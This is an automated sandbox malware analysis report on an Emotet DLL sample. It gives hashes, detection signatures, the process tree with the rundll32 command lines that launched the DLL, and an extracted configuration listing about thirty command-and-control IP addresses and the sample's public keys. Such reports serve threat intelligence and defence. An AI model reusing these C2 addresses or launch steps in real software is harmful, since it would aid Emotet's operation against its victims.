Play interactive tour

Edit tour

Windows Analysis Report 2gyA5uNl6VPQUA.dll

Overview

General Information

Sample Name:	2gyA5uNl6VPQUA.dll
Analysis ID:	532048
MD5:	5e20cb3466b66a9cdeac1ac74d9862e4
SHA1:	28ef4facb366de1fc7da62b975c8967997527c36
SHA256:	208939e34f46846c7c95383c6fea7813038b4dea87ea3819c157ccfbbf8aa09a
Tags:	dll
Infos:
Most interesting Screenshot:

Detection

Emotet

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Emotet

Changes security center settings (notifications, updates, antivirus, firewall)

C2 URLs / IPs found in malware configuration

Hides that the sample has been downloaded from the Internet (zone.identifier)

Uses 32bit PE files

One or more processes crash

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Deletes files inside the Windows folder

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to dynamically determine API calls

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

AV process strings found (often used to terminate AV products)

Contains functionality to read the PEB

Drops PE files to the windows directory (C:\Windows)

Checks if the current process is being debugged

Connects to several IPs in different countries

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

svchost.exe (PID: 5528 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

loaddll32.exe (PID: 5816 cmdline: loaddll32.exe "C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll" MD5: 72FCD8FB0ADC38ED9050569AD673650E)

cmd.exe (PID: 5988 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 6804 cmdline: rundll32.exe "C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5704 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6816 cmdline: rundll32.exe C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll,Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 4624 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Cyyah\ysrainvzaakh.dkv",pczodXjTBX MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 4424 cmdline: rundll32.exe C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll,axamexdrqyrgb MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6688 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 1880 cmdline: rundll32.exe C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll,bhramccfbdd MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6680 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

svchost.exe (PID: 3540 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

SgrmBroker.exe (PID: 6868 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)

svchost.exe (PID: 6848 cmdline: c:\windows\system32\svchost.exe -k unistacksvcgroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6164 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

MpCmdRun.exe (PID: 6332 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: A267555174BFA53844371226F482B86B)

conhost.exe (PID: 5752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

svchost.exe (PID: 2364 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

WerFault.exe (PID: 3376 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 156 -p 5816 -ip 5816 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 5796 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 5816 -ip 5816 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

cleanup

Malware Configuration

Threatname: Emotet

{"C2 list": ["46.55.222.11:443", "104.245.52.73:8080", "41.76.108.46:8080", "103.8.26.103:8080", "185.184.25.237:8080", "103.8.26.102:8080", "203.114.109.124:443", "45.118.115.99:8080", "178.79.147.66:8080", "58.227.42.236:80", "45.118.135.203:7080", "103.75.201.2:443", "195.154.133.20:443", "45.142.114.231:8080", "212.237.5.209:443", "207.38.84.195:8080", "104.251.214.46:8080", "212.237.17.99:8080", "212.237.56.116:7080", "216.158.226.206:443", "110.232.117.186:8080", "158.69.222.101:443", "107.182.225.142:8080", "176.104.106.96:8080", "81.0.236.90:443", "50.116.54.215:443", "138.185.72.26:8080", "51.68.175.8:8080", "210.57.217.132:8080"], "Public Key": ["RUNTMSAAAABAX3S2xNjcDD0fBno33Ln5t71eii+mofIPoXkNFOX1MeiwCh48iz97kB0mJjGGZXwardnDXKxI8GCHGNl0PFj5", "RUNLMSAAAADzozW1Di4r9DVWzQpMKT588RDdy7BPILP6AiDOTLYMHkSWvrQO5slbmr1OvZ2Pz+AQWzRMggQmAtO6rPH7nyx2"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000008.00000002.628861831.0000000002D7A000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000001.00000000.662292442.00000000007C0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000001.00000000.601509063.000000000083D000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000009.00000002.602280537.000000000047A000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000008.00000002.623586957.0000000002C30000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000009.00000002.602326812.00000000006A0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000001.00000002.718738083.00000000007C0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000003.564390758.0000000003019000.00000004.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.619081801.0000000002F20000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000002.602689535.00000000030F0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000002.610271162.00000000032A3000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000001.00000000.611809755.00000000007C0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000001.00000000.611849506.000000000083D000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000001.00000002.719186470.000000000083D000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000001.00000000.670664388.000000000083D000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000001.00000000.601464399.00000000007C0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author
1.2.loaddll32.exe.843b70.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
1.0.loaddll32.exe.7c0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.rundll32.exe.6a0000.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
1.0.loaddll32.exe.7c0000.3.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.2f20000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
1.0.loaddll32.exe.843b70.7.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
1.0.loaddll32.exe.7c0000.6.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
1.0.loaddll32.exe.843b70.7.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.rundll32.exe.30f0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
1.0.loaddll32.exe.843b70.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
1.0.loaddll32.exe.7c0000.3.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.rundll32.exe.32a3690.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
1.2.loaddll32.exe.7c0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.rundll32.exe.492098.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
8.2.rundll32.exe.2d92098.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
8.2.rundll32.exe.2c30000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
1.2.loaddll32.exe.843b70.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
8.2.rundll32.exe.2c30000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
1.0.loaddll32.exe.843b70.4.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
1.0.loaddll32.exe.7c0000.6.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.rundll32.exe.32a3690.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.2f20000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.rundll32.exe.30f0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
1.0.loaddll32.exe.843b70.4.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.rundll32.exe.6a0000.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
8.2.rundll32.exe.2d92098.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
1.0.loaddll32.exe.7c0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
1.2.loaddll32.exe.7c0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
1.0.loaddll32.exe.843b70.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.rundll32.exe.492098.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 25 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 1.0.loaddll32.exe.843b70.4.raw.unpack

Malware Configuration Extractor: Emotet {"C2 list": ["46.55.222.11:443", "104.245.52.73:8080", "41.76.108.46:8080", "103.8.26.103:8080", "185.184.25.237:8080", "103.8.26.102:8080", "203.114.109.124:443", "45.118.115.99:8080", "178.79.147.66:8080", "58.227.42.236:80", "45.118.135.203:7080", "103.75.201.2:443", "195.154.133.20:443", "45.142.114.231:8080", "212.237.5.209:443", "207.38.84.195:8080", "104.251.214.46:8080", "212.237.17.99:8080", "212.237.56.116:7080", "216.158.226.206:443", "110.232.117.186:8080", "158.69.222.101:443", "107.182.225.142:8080", "176.104.106.96:8080", "81.0.236.90:443", "50.116.54.215:443", "138.185.72.26:8080", "51.68.175.8:8080", "210.57.217.132:8080"], "Public Key": ["RUNTMSAAAABAX3S2xNjcDD0fBno33Ln5t71eii+mofIPoXkNFOX1MeiwCh48iz97kB0mJjGGZXwardnDXKxI8GCHGNl0PFj5", "RUNLMSAAAADzozW1Di4r9DVWzQpMKT588RDdy7BPILP6AiDOTLYMHkSWvrQO5slbmr1OvZ2Pz+AQWzRMggQmAtO6rPH7nyx2"]}

Multi AV Scanner detection for submitted file

Show sources

Source: 2gyA5uNl6VPQUA.dll	Virustotal: Detection: 17%			Perma Link
Source: 2gyA5uNl6VPQUA.dll	ReversingLabs: Detection: 25%

Source: 2gyA5uNl6VPQUA.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL, LARGE_ADDRESS_AWARE

Source: 2gyA5uNl6VPQUA.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6EC02FE7 FindFirstFileExW,		1_2_6EC02FE7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EC02FE7 FindFirstFileExW,		4_2_6EC02FE7

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	IPs: 46.55.222.11:443
Source: Malware configuration extractor	IPs: 104.245.52.73:8080
Source: Malware configuration extractor	IPs: 41.76.108.46:8080
Source: Malware configuration extractor	IPs: 103.8.26.103:8080
Source: Malware configuration extractor	IPs: 185.184.25.237:8080
Source: Malware configuration extractor	IPs: 103.8.26.102:8080
Source: Malware configuration extractor	IPs: 203.114.109.124:443
Source: Malware configuration extractor	IPs: 45.118.115.99:8080
Source: Malware configuration extractor	IPs: 178.79.147.66:8080
Source: Malware configuration extractor	IPs: 58.227.42.236:80
Source: Malware configuration extractor	IPs: 45.118.135.203:7080
Source: Malware configuration extractor	IPs: 103.75.201.2:443
Source: Malware configuration extractor	IPs: 195.154.133.20:443
Source: Malware configuration extractor	IPs: 45.142.114.231:8080
Source: Malware configuration extractor	IPs: 212.237.5.209:443
Source: Malware configuration extractor	IPs: 207.38.84.195:8080
Source: Malware configuration extractor	IPs: 104.251.214.46:8080
Source: Malware configuration extractor	IPs: 212.237.17.99:8080
Source: Malware configuration extractor	IPs: 212.237.56.116:7080
Source: Malware configuration extractor	IPs: 216.158.226.206:443
Source: Malware configuration extractor	IPs: 110.232.117.186:8080
Source: Malware configuration extractor	IPs: 158.69.222.101:443
Source: Malware configuration extractor	IPs: 107.182.225.142:8080
Source: Malware configuration extractor	IPs: 176.104.106.96:8080
Source: Malware configuration extractor	IPs: 81.0.236.90:443
Source: Malware configuration extractor	IPs: 50.116.54.215:443
Source: Malware configuration extractor	IPs: 138.185.72.26:8080
Source: Malware configuration extractor	IPs: 51.68.175.8:8080
Source: Malware configuration extractor	IPs: 210.57.217.132:8080

Source: Joe Sandbox View	ASN Name: OnlineSASFR OnlineSASFR
Source: Joe Sandbox View	ASN Name: ARUBA-ASNIT ARUBA-ASNIT

Source: Joe Sandbox View	IP Address: 195.154.133.20 195.154.133.20
Source: Joe Sandbox View	IP Address: 212.237.17.99 212.237.17.99

Source: unknown

Network traffic detected: IP country count 19

Source: svchost.exe, 00000002.00000002.368206307.000001B813E13000.00000004.00000001.sdmp	String found in binary or memory: http://www.bingmapsportal.comsv
Source: svchost.exe, 00000002.00000003.311471823.000001B813E4F000.00000004.00000001.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: svchost.exe, 00000002.00000003.313081383.000001B813E4B000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000002.00000003.311471823.000001B813E4F000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 00000002.00000002.377109092.000001B813E3E000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 00000002.00000002.384606635.000001B813E69000.00000004.00000001.sdmp, svchost.exe, 00000002.00000003.308758027.000001B813E66000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
Source: svchost.exe, 00000002.00000003.311471823.000001B813E4F000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 00000002.00000003.333640085.000001B813E2F000.00000004.00000001.sdmp, svchost.exe, 00000002.00000003.330357133.000001B813E2E000.00000004.00000001.sdmp, svchost.exe, 00000002.00000003.318680681.000001B813E2C000.00000004.00000001.sdmp, svchost.exe, 00000002.00000002.374497241.000001B813E30000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 00000002.00000003.284289623.000001B813E30000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000002.00000003.284289623.000001B813E30000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 00000002.00000003.311471823.000001B813E4F000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 00000002.00000002.377109092.000001B813E3E000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 00000002.00000003.311471823.000001B813E4F000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 00000002.00000003.311471823.000001B813E4F000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 00000002.00000003.311471823.000001B813E4F000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 00000002.00000003.284289623.000001B813E30000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
Source: svchost.exe, 00000002.00000002.378080839.000001B813E42000.00000004.00000001.sdmp, svchost.exe, 00000002.00000003.328155171.000001B813E41000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 00000002.00000003.284289623.000001B813E30000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Stops/
Source: svchost.exe, 00000002.00000002.378080839.000001B813E42000.00000004.00000001.sdmp, svchost.exe, 00000002.00000003.328155171.000001B813E41000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=
Source: svchost.exe, 00000002.00000003.311471823.000001B813E4F000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 00000002.00000003.325032729.000001B813E46000.00000004.00000001.sdmp, svchost.exe, 00000002.00000002.378807783.000001B813E47000.00000004.00000001.sdmp, svchost.exe, 00000002.00000003.318680681.000001B813E2C000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 00000002.00000003.284289623.000001B813E30000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?entry=
Source: svchost.exe, 00000002.00000003.313081383.000001B813E4B000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 00000002.00000003.325032729.000001B813E46000.00000004.00000001.sdmp, svchost.exe, 00000002.00000002.378807783.000001B813E47000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000002.00000003.325032729.000001B813E46000.00000004.00000001.sdmp, svchost.exe, 00000002.00000002.378807783.000001B813E47000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000002.00000002.374497241.000001B813E30000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 00000002.00000003.311471823.000001B813E4F000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 00000002.00000002.377109092.000001B813E3E000.00000004.00000001.sdmp, svchost.exe, 00000002.00000003.284289623.000001B813E30000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000002.00000003.284289623.000001B813E30000.00000004.00000001.sdmp, svchost.exe, 00000002.00000003.318680681.000001B813E2C000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 00000002.00000003.284289623.000001B813E30000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/roadshield.ashx?bucket=
Source: svchost.exe, 00000002.00000002.377109092.000001B813E3E000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 00000002.00000002.377109092.000001B813E3E000.00000004.00000001.sdmp, svchost.exe, 00000002.00000002.368206307.000001B813E13000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 00000002.00000003.327373065.000001B813E45000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000002.00000003.327373065.000001B813E45000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000002.00000003.284289623.000001B813E30000.00000004.00000001.sdmp, svchost.exe, 00000002.00000003.318680681.000001B813E2C000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 00000002.00000003.333640085.000001B813E2F000.00000004.00000001.sdmp, svchost.exe, 00000002.00000003.284289623.000001B813E30000.00000004.00000001.sdmp, svchost.exe, 00000002.00000003.330357133.000001B813E2E000.00000004.00000001.sdmp, svchost.exe, 00000002.00000003.318680681.000001B813E2C000.00000004.00000001.sdmp, svchost.exe, 00000002.00000002.374497241.000001B813E30000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 00000002.00000002.368206307.000001B813E13000.00000004.00000001.sdmp	String found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen

E-Banking Fraud:

Yara detected Emotet

Show sources

Source: Yara match	File source: 1.2.loaddll32.exe.843b70.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.loaddll32.exe.7c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.6a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.loaddll32.exe.7c0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.2f20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.loaddll32.exe.843b70.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.loaddll32.exe.7c0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.loaddll32.exe.843b70.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.30f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.loaddll32.exe.843b70.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.loaddll32.exe.7c0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.32a3690.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.7c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.492098.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.2d92098.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.2c30000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.843b70.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.2c30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.loaddll32.exe.843b70.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.loaddll32.exe.7c0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.32a3690.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.2f20000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.30f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.loaddll32.exe.843b70.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.6a0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.2d92098.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.loaddll32.exe.7c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.7c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.loaddll32.exe.843b70.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.492098.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.628861831.0000000002D7A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.662292442.00000000007C0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.601509063.000000000083D000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.602280537.000000000047A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.623586957.0000000002C30000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.602326812.00000000006A0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.718738083.00000000007C0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.564390758.0000000003019000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.619081801.0000000002F20000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.602689535.00000000030F0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.610271162.00000000032A3000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.611809755.00000000007C0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.611849506.000000000083D000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.719186470.000000000083D000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.670664388.000000000083D000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.601464399.00000000007C0000.00000040.00000010.sdmp, type: MEMORY

Source: 2gyA5uNl6VPQUA.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL, LARGE_ADDRESS_AWARE

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 156 -p 5816 -ip 5816

Source: C:\Windows\SysWOW64\rundll32.exe

File deleted: C:\Windows\SysWOW64\Cyyah\ysrainvzaakh.dkv:Zone.Identifier

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\Windows\SysWOW64\Cyyah\

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6EBE5EA0	1_2_6EBE5EA0
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6EBEE6E0	1_2_6EBEE6E0
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6EBE66E0	1_2_6EBE66E0
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6EBEA6D0	1_2_6EBEA6D0
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6EBF0F10	1_2_6EBF0F10
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6EBE1C10	1_2_6EBE1C10
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6EBE75F4	1_2_6EBE75F4
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6EBE9D50	1_2_6EBE9D50
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6EC00A61	1_2_6EC00A61
